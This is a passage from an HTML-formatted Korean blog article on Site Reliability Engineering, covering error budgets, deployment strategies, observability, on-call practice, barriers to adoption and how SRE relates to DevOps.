&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해 배포는 더 이상 리스크가 아닌, 일상적인 프로세스로 흡수된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;성능 및 용량 계획&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서비스가 성장함에 따라 필요한 자원도 달라진다. SRE는 단기적 성능 이슈 대응뿐만 아니라, 장기적 용량 계획(Capacity Planning)까지 고려하여 인프라 확장성을 설계한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트래픽 추이를 기반으로 한 예측 모델 수립&lt;/li&gt;
&lt;li&gt;병목 구간 분석 및 리소스 재배치&lt;/li&gt;
&lt;li&gt;클라우드 자원 최적화 및 비용 절감&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예측 가능한 자원 운영은 단순한 비용 절감 이상의 가치를 만들어낸다. 안정성과 확장성을 동시에 확보할 수 있게 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE가 일하는 방식&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE(Site Reliability Engineering)는 단지 책임과 역할이 정의된 직무가 아니다. 어떻게 일하고, 어떤 기준으로 판단하고, 어떤 도구와 전략을 통해 시스템을 관리하느냐는 '일하는 방식' 전반이 포함된다. 이 방식은 운영의 자동화와 신뢰성 유지를 동시에 추구하며, SRE가 개발팀과 다른 고유한 문화를 가지는 이유이기도 하다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;에러 버짓(Error Budget)의 개념과 활용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE가 가장 중요하게 여기는 철학 중 하나는 &lt;b&gt;에러 버짓(Error Budget)&lt;/b&gt;이다. 이는 &quot;얼마만큼의 실패가 허용되는가&quot;를 수치로 정의한 개념이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예를 들어, SLO가 99.9% 가용성일 경우, 한 달 기준 약 43분 정도의 장애가 허용된다.&lt;/li&gt;
&lt;li&gt;이 시간 안에서 장애나 실패가 발생하는 것은 '계획된 리스크'로 간주되며, 무조건적인 무장애보다는 합리적인 배포와 실험의 여지를 허용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 버짓은 &lt;b&gt;개발 속도와 안정성 간의 균형점&lt;/b&gt;을 찾기 위한 기준선이며, 이를 초과하면 자동으로 배포를 중지하거나 품질 개선 활동을 우선시하는 트리거로 활용된다. 이 개념은 단순 수치가 아니라 팀 운영에 실질적인 영향을 미치는 전략 도구다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;배포 전략: CI/CD, 블루그린, 카나리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 배포를 일상화시키기 위해 다양한 전략을 활용한다. 특히 서비스 장애가 배포에서 비롯되는 경우가 많은 만큼, 안전하고 자동화된 배포는 SRE의 핵심 관심사다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CI/CD 파이프라인&lt;/b&gt;은 코드 커밋부터 운영 반영까지의 전 과정을 자동화하여 휴먼 에러를 줄인다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;블루그린 배포&lt;/b&gt;는 운영 환경을 두 개 구성해 트래픽을 전환함으로써 무중단 배포를 가능하게 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;카나리 릴리스&lt;/b&gt;는 소수 사용자에게만 신규 기능을 배포한 뒤 문제 유무를 확인하고 점진적으로 확장한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 전략은 단순한 도입이 아니라, 트래픽 규모와 서비스 특성에 따라 세밀하게 조정되어야 한다. SRE는 이를 설계하고 운영하는 데 중추적인 역할을 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;관측성 도구: 로깅, 모니터링, 트레이싱&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신뢰성 있는 운영의 전제조건은 시스템의 상태를 정확하게 &lt;b&gt;관측할 수 있는 능력&lt;/b&gt;이다. 이를 위해 SRE는 다음 세 가지를 통합적으로 다룬다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로깅(Logging)&lt;/b&gt;: 이벤트의 기록. 에러, 경고, 접근 로그 등을 체계적으로 수집하고 분석할 수 있도록 구성한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모니터링(Monitoring)&lt;/b&gt;: 시스템의 주요 지표(SLI)를 실시간 수집하고, 알림 기준을 설정해 자동 대응 기반을 만든다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;트레이싱(Tracing)&lt;/b&gt;: 마이크로서비스 구조에서 요청이 각 시스템을 거치는 흐름을 시각화하고, 지연이나 오류 구간을 식별할 수 있도록 돕는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관측성은 단지 장애 대응에만 쓰이는 게 아니다. 성능 개선, 병목 탐지, 용량 계획 등 거의 모든 운영적 판단의 근거가 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE 조직 구조와 협업 방식&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 단순히 운영 자동화를 담당하는 팀이 아니다. SRE가 효과적으로 기능하려면 조직 안에서 명확한 역할과 구조, 그리고 협업 방식이 수립되어야 한다. 이는 개발팀과의 관계 설정, 온콜 운영 체계, 업무 처리 기준 등 실질적인 운영 전략에 큰 영향을 미친다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;개발팀과의 역할 분담&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 개발팀과 협력하면서도 명확한 역할을 구분해야 한다. 일반적으로 서비스 기능 개발은 개발팀이 주도하고, 해당 기능이 운영 환경에서 안정적으로 동작하도록 지원하는 것이 SRE의 책임이다. 그러나 그 이상으로 SRE는 다음과 같은 방식으로 개발과 협력한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;신뢰성 기준(SLO)을 기반으로 한 설계 리뷰 참여&lt;/li&gt;
&lt;li&gt;배포 자동화 및 롤백 전략 수립 지원&lt;/li&gt;
&lt;li&gt;장애 발생 시 기술적 대응과 회고 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 개발자가 '기능'에 집중할 수 있도록 운영의 부담을 줄여주면서, 동시에 안정적인 배포와 운영을 위한 구조를 함께 설계하는 동반자적 역할을 수행한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;온콜(On-call) 체계의 운영&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE의 가장 실질적인 업무 중 하나는 온콜(On-call) 체계 운영이다. 이는 장애가 발생했을 때 즉시 대응할 수 있도록 시간대별로 담당자를 지정하는 제도다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;24시간/7일 체계로 운영되는 경우가 많으며, 일정 주기로 교대한다.&lt;/li&gt;
&lt;li&gt;장애 발생 시 처음 대응자(first responder)가 시스템 상태를 확인하고 필요시 전파한다.&lt;/li&gt;
&lt;li&gt;SLO를 기반으로 한 우선순위 판단이 필요하며, 경미한 알림은 필터링하거나 큐에 보류된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온콜은 단순한 업무 분담이 아니라 신뢰성 유지의 핵심 도구다. 따라서 적절한 보상 체계, 피로도 관리, 자동화 도구와의 연계가 반드시 고려되어야 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;티켓 기반이 아닌 SLO 기반 업무 관리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 운영팀은 주로 티켓 시스템(예: Jira, Zendesk 등)을 통해 업무를 관리했다. 하지만 SRE는 전통적인 티켓 기반보다 &lt;b&gt;SLO 중심의 업무 우선순위&lt;/b&gt;를 중시한다. 이는 다음과 같은 차이를 만들어낸다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단순한 요청 처리보다 신뢰성 저하 요인을 우선 대응&lt;/li&gt;
&lt;li&gt;반복 작업보다 자동화와 구조 개선을 우선시&lt;/li&gt;
&lt;li&gt;데이터 기반 판단에 따라 업무를 분류하고 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 방식은 SRE가 단순한 운영 대행자가 아니라, 시스템 품질을 책임지는 기술적 리더십을 갖춘 조직으로 기능할 수 있게 만든다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE 도입의 현실과 도전 과제&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Site Reliability Engineering(SRE)은 매력적인 모델이다. 신뢰성과 자동화를 중시하고, 운영과 개발 사이의 장벽을 허물며, 성능과 안정성의 균형을 이끌어낸다. 하지만 이상적인 모델일수록 현실에서 도입하기란 쉽지 않다. 특히 국내 IT 환경에서 SRE를 실제로 적용하려는 시도는 다양한 조직적, 문화적 도전에 부딪힌다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한국 기업 환경에서의 도입 장벽&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 단순히 운영방식을 바꾸는 것이 아니라 조직 문화와 일하는 철학을 전환하는 것이다. 특히 다음과 같은 특성은 SRE 도입을 어렵게 만든다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;계층적인 조직 구조&lt;/b&gt;: 수평적 의사결정과 자율성을 요구하는 SRE는 수직적 명령 체계와 충돌하기 쉽다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사후 대응 중심의 운영 문화&lt;/b&gt;: 장애가 나야 움직이는 문화에서는 사전 예방, 지표 기반의 SLO 접근이 낯설고 어려울 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;업무 성과의 가시화 문제&lt;/b&gt;: SRE의 핵심 역할은 장애 예방과 시스템 신뢰성 유지지만, 이는 수치로 쉽게 보여주기 어려워 성과 인식에 한계가 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 이유로 인해 많은 조직이 'SRE라는 이름만 차용'한 채 기존 운영방식과 별 차이 없는 구조를 반복하게 되는 경우도 많다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기존 Ops팀과의 충돌 또는 병행 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전통적인 운영팀이 존재하는 조직에서 SRE를 도입하면 종종 업무 중복, 역할 혼선이 생긴다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;기존 팀은 티켓 처리 중심인데, SRE는 프로젝트 단위로 일한다&quot;&lt;/li&gt;
&lt;li&gt;&quot;장애 대응은 누가 책임지는가?&quot;&lt;/li&gt;
&lt;li&gt;&quot;운영 자동화를 누가 설계하고 주도할 것인가?&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 충돌을 줄이기 위해서는 다음과 같은 방식이 유효하다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;혼합 모델 구성&lt;/b&gt;: 초기에는 기존 운영팀과 병행 운영하며, SRE는 자동화, 성능 개선, 인시던트 분석 같은 고차원 업무에 집중&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경계 명확화&lt;/b&gt;: 각 팀의 역할과 책임(R&amp;amp;R)을 명확히 설정하고, 협업 프로세스를 문서화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공동 회고 문화 확산&lt;/b&gt;: 장애 이후 Postmortem을 함께 진행하면서 운영 방식 차이를 점진적으로 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;조직 규모에 따른 SRE 모델의 다양성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 조직이 구글처럼 대규모 인프라를 운영하는 것은 아니다. 중소기업, 스타트업, 혹은 특정 서비스 단위에서도 SRE는 충분히 의미 있는 접근이 될 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;스타트업&lt;/b&gt;: DevOps와 병행 운영하며, 자동화 중심으로 작게 시작&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중견기업&lt;/b&gt;: 기존 운영팀을 기반으로 일부 영역에 SRE 방식 도입 &amp;rarr; 점진적 확장&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대기업&lt;/b&gt;: SRE 전문 조직 구성, SLA 계약 기반의 품질 관리 체계 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 중요한 건 조직의 규모나 성숙도에 맞는 SRE 모델을 설계하는 것이다. 무조건적인 도입보다는, 현실에 맞는 맞춤형 전략이 필요하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;성공적인 SRE 운영을 위한 조건&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE(Site Reliability Engineering)는 단순히 기술을 도입한다고 해서 효과가 나는 조직 모델이 아니다. 시스템 신뢰성을 끌어올리고, 운영 효율을 높이며, 개발 생산성을 유지하기 위해서는 몇 가지 핵심 조건이 갖춰져야 한다. 이는 기술적 기반뿐 아니라 조직 문화와 일하는 방식 전반을 포함한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;문화적 전환: Blameless Postmortem&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성공적인 SRE는 실패를 숨기지 않고 드러내는 조직 문화에서 시작된다. 장애가 발생했을 때 개인을 비난하는 대신, 구조적 원인과 프로세스상의 허점을 찾아 개선하는 태도. 이것이 바로 &lt;b&gt;Blameless Postmortem(비난 없는 사후 회고)&lt;/b&gt;의 핵심 철학이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장애 발생 시 투명하게 공유하고 기록&lt;/li&gt;
&lt;li&gt;책임 추궁이 아닌 재발 방지를 위한 구조 분석&lt;/li&gt;
&lt;li&gt;장애 대응에 참여한 모든 사람의 경험을 존중&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문화가 정착되면, 팀은 실수에 위축되지 않고 더 나은 시스템 설계를 위해 학습하게 된다. 신뢰성은 시스템 이전에 사람과 문화로부터 시작된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기술적 기반: 인프라 코드화(IaC)와 클라우드 네이티브 스택&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신뢰성과 확장성을 동시에 확보하기 위해서는 운영의 자동화가 필수다. 이를 가능하게 하는 기술적 기반으로는 다음이 핵심이다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;IaC(Infrastructure as Code)&lt;/b&gt;: Terraform, Pulumi, AWS CloudFormation 등을 통해 인프라를 코드로 정의하고 관리함으로써 변경 이력을 추적하고 일관성을 확보한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;클라우드 네이티브 아키텍처&lt;/b&gt;: 컨테이너(Kubernetes), 서비스 메시, 마이크로서비스, 서버리스 등 유연하고 분산된 구조를 운영의 기본 단위로 삼는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GitOps&lt;/b&gt;: 선언적 구성과 Git 기반 변경 관리로 배포 및 인프라 운영을 자동화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 기술들은 단순한 툴이 아니라, SRE의 일하는 방식 자체를 시스템화할 수 있는 수단이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;지속 가능한 온콜(On-call) 운영&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온콜은 신뢰성을 확보하기 위한 실질적인 도구이지만, 잘못 설계되면 구성원을 소진시키는 주범이 되기도 한다. 지속 가능하고 효율적인 온콜 체계 운영을 위해서는 다음 요소가 고려되어야 한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;적절한 교대 주기와 커버 범위&lt;/b&gt;: 1인 과중화를 방지하고, 업무 시간을 존중하는 설계&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자동 알림 필터링&lt;/b&gt;: 불필요한 경고를 줄이고, 중요한 신호에만 집중&lt;/li&gt;
&lt;li&gt;&lt;b&gt;온콜 피로도 관리 및 보상 제도&lt;/b&gt;: 온콜을 의무가 아닌 합리적인 업무로 인식할 수 있도록&lt;/li&gt;
&lt;li&gt;&lt;b&gt;회고 기반의 온콜 개선&lt;/b&gt;: 반복 알림 원인 분석 및 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 온콜은 시스템의 상태뿐 아니라 조직의 건강성을 보여주는 지표이기도 하다. 제대로 운영된다면, 빠른 대응과 안정성 유지의 기반이 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE와 DevOps의 공존 가능성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE(Site Reliability Engineering)와 DevOps는 현대 소프트웨어 운영 환경에서 핵심 개념으로 자리 잡았다. 이 두 용어는 종종 비슷한 맥락에서 등장하고, 때로는 동일한 개념처럼 인식되기도 하지만, 실제로는 서로 다른 철학과 실천 방식에서 출발한다. 그러나 본질적으로 SRE와 DevOps는 충돌하는 개념이 아니라, 서로를 보완하며 함께 적용될 수 있는 구조다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;철학적 출발점의 차이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DevOps는 개발(Development)과 운영(Operations)의 경계를 허물고, 지속적인 통합과 배포(CI/CD)를 통해 빠르고 안정적인 소프트웨어 전달을 목표로 하는 &lt;b&gt;조직 문화와 협업 모델&lt;/b&gt;이다. 이 철학은 자동화, 소통, 그리고 공유 책임에 중점을 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면, SRE는 구글이 내부 운영 문제를 해결하기 위해 만든 &lt;b&gt;엔지니어링 기반의 실천 모델&lt;/b&gt;이다. DevOps의 문화적 철학을 실제 운영 환경에 적용하기 위해 도입된 접근 방식으로, 신뢰성을 수치화하고 운영을 코드로 관리하며, 자동화를 전제로 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심적으로:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;DevOps&lt;/b&gt;는 조직의 변화와 문화를 강조하는 상위 개념&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SRE&lt;/b&gt;는 DevOps 철학을 기술적으로 구현한 실천 방식&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;DevOps 환경 속에서의 SRE 역할&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 조직은 DevOps 문화를 수용하면서, 그 내부에서 SRE 팀을 별도로 구성하거나 역할을 확장하는 방식으로 접근하고 있다. DevOps가 조직 전반에 CI/CD, 자동화, 테스트 문화 등을 확산시키는 틀이라면, SRE는 다음과 같은 실천을 통해 운영 품질을 강화한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배포 자동화 과정에서의 안전성 확보&lt;/li&gt;
&lt;li&gt;장애 발생 시 근본 원인 분석 및 비난 없는 회고 문화(Postmortem) 주도&lt;/li&gt;
&lt;li&gt;SLI/SLO 기반으로 알림과 모니터링 기준 수립&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 방식으로 SRE는 DevOps의 일관된 프로세스를 기술적으로 보완하며, 서비스의 신뢰성과 안정성을 체계적으로 높이는 역할을 수행한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SRE는 DevOps의 실현 방식일까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;SRE는 DevOps의 실현 방식 중 하나다&amp;rdquo;라는 표현은 일정 부분 타당하다. 실제로 SRE는 DevOps가 지향하는 목표, 즉 협업과 자동화, 지속적인 개선을 엔지니어링 관점에서 구체화한 대표적인 접근이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 두 접근은 그 출발점이 다르다. DevOps는 &lt;b&gt;조직 전체가 동참하는 문화적 변화 모델&lt;/b&gt;이고, SRE는 &lt;b&gt;특정 엔지니어 그룹이 수행하는 기술 중심의 역할&lt;/b&gt;이다. DevOps 없이는 SRE도 실현되기 어렵고, SRE 없는 DevOps는 실행력이 약하다. 따라서 두 개념은 병렬이 아닌 계층적으로 연결되어야 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;함께 설계될 때의 시너지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DevOps와 SRE를 함께 고려하는 조직은 다음과 같은 이점을 얻을 수 있다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빠른 배포 속도와 높은 신뢰성을 동시에 달성 가능&lt;/li&gt;
&lt;li&gt;운영 자동화와 품질 지표 기반의 관리 체계 구축&lt;/li&gt;
&lt;li&gt;장애에 강한 시스템 설계와 회고 중심의 개선 문화 정착&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 조화는 개발팀과 운영팀, 그리고 인프라팀 사이의 긴장을 줄이고, 사용자에게 더 나은 경험을 제공하는 기반이 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE 도입을 고민하는 조직을 위한 제언&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Site Reliability Engineering(SRE)은 단순한 트렌드가 아니라, 복잡하고 빠르게 변화하는 운영 환경에 적응하기 위한 현실적인 해법이다. 하지만 아무리 좋은 개념도 조직에 맞는 방식으로 도입되지 않으면 제대로 정착하기 어렵다. 이 글에서는 SRE 도입을 고려하고 있는 조직을 위해 실제로 무엇을 점검하고, 어디서부터 시작하며, 어떻게 실패하지 않는 팀을 구성할 수 있을지에 대해 정리한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SRE 도입 체크리스트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조직이 SRE를 도입할 준비가 되어 있는지를 점검하기 위해 다음과 같은 질문들을 던져볼 수 있다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장애가 발생했을 때 비난보다 학습이 우선시되는가?&lt;/li&gt;
&lt;li&gt;신뢰성을 수치화할 수 있는 SLO와 SLI 기준이 정의되어 있는가?&lt;/li&gt;
&lt;li&gt;운영 반복 작업을 줄이기 위한 자동화 의지가 있는가?&lt;/li&gt;
&lt;li&gt;온콜 체계를 합리적으로 설계할 수 있는 리소스와 문화가 있는가?&lt;/li&gt;
&lt;li&gt;DevOps 문화가 어느 정도 정착되어 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 중 다수의 항목이 '아니오'라면, 먼저 조직 문화와 일하는 방식을 점진적으로 바꿔나가는 것이 선행되어야 한다. 기술은 도구일 뿐, SRE의 본질은 일하는 철학에 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;초기에는 무엇부터 시작해야 할까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE를 처음 도입하려는 조직은 보통 범위를 작게 가져가는 것이 좋다. 다음과 같은 단계적 접근이 효과적이다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;파일럿 서비스 지정&lt;/b&gt;: 중요한 운영 서비스 중 하나를 선택하여 SRE 방식을 먼저 적용해 본다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SLI/SLO 정의&lt;/b&gt;: 사용자의 기대 수준에 맞춰 측정 가능한 지표를 정리하고 목표치를 설정한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;장애 대응 프로세스 개선&lt;/b&gt;: 인시던트 대응 프로토콜과 Postmortem 문화를 도입한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자동화 시작&lt;/b&gt;: 반복되는 배포, 알림, 모니터링 업무부터 자동화 도구를 적용해 나간다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 것은 조직 구성원들이 SRE 방식이 가져오는 장점을 실감할 수 있도록 작게 성공 사례를 만들어나가는 것이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실패하지 않는 팀 빌딩 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 인프라 경험만 풍부한 운영 인력으로 구성해서는 충분하지 않다. 다음과 같은 관점에서 팀을 구성해야 한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;소프트웨어 엔지니어 마인드&lt;/b&gt;: 문제를 코드로 해결하고 자동화하는 능력이 핵심이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영 경험의 균형&lt;/b&gt;: 트러블 슈팅, 로그 분석, 시스템 지표 해석 등 운영에 강한 감각도 필요하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;협업 능력&lt;/b&gt;: 개발팀과 적극적으로 소통하고 리뷰와 회고에 참여할 수 있어야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;문화 전파자&lt;/b&gt;: Postmortem, SLO 운영 등 새로운 개념을 팀 내에 자연스럽게 전파할 수 있는 태도&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 역량을 기준으로 SRE 팀을 구성하고, 이들이 조직 전반에 영향을 줄 수 있도록 지원하는 것이 중요하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;맺으며: 신뢰성은 기술이 아니라 문화다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE(Site Reliability Engineering)를 둘러싼 논의는 결국 &amp;lsquo;기술&amp;rsquo;로 출발하지만, 끝은 늘 &amp;lsquo;문화&amp;rsquo;로 향한다. 자동화, 지표 기반 운영, 인시던트 대응, Postmortem, Error Budget&amp;hellip; 이런 개념들은 모두 도구이자 수단일 뿐이다. 진짜 중요한 것은, 이러한 원칙들을 지지하고 실행할 수 있는 조직의 철학과 태도다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SRE가 전하는 메시지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 단지 운영을 자동화하는 직무가 아니다. 그것은 다음과 같은 메시지를 담고 있다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;완벽한 무장애는 존재하지 않는다.&lt;/b&gt; 실패는 피할 수 없으며, 중요한 것은 실패 이후 어떻게 대응하고 개선하는가이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영은 반복 업무가 아니라, 개선을 위한 엔지니어링 활동이다.&lt;/b&gt; 수동 업무를 줄이고 시스템이 스스로 회복할 수 있도록 설계한다.&lt;/li&gt;
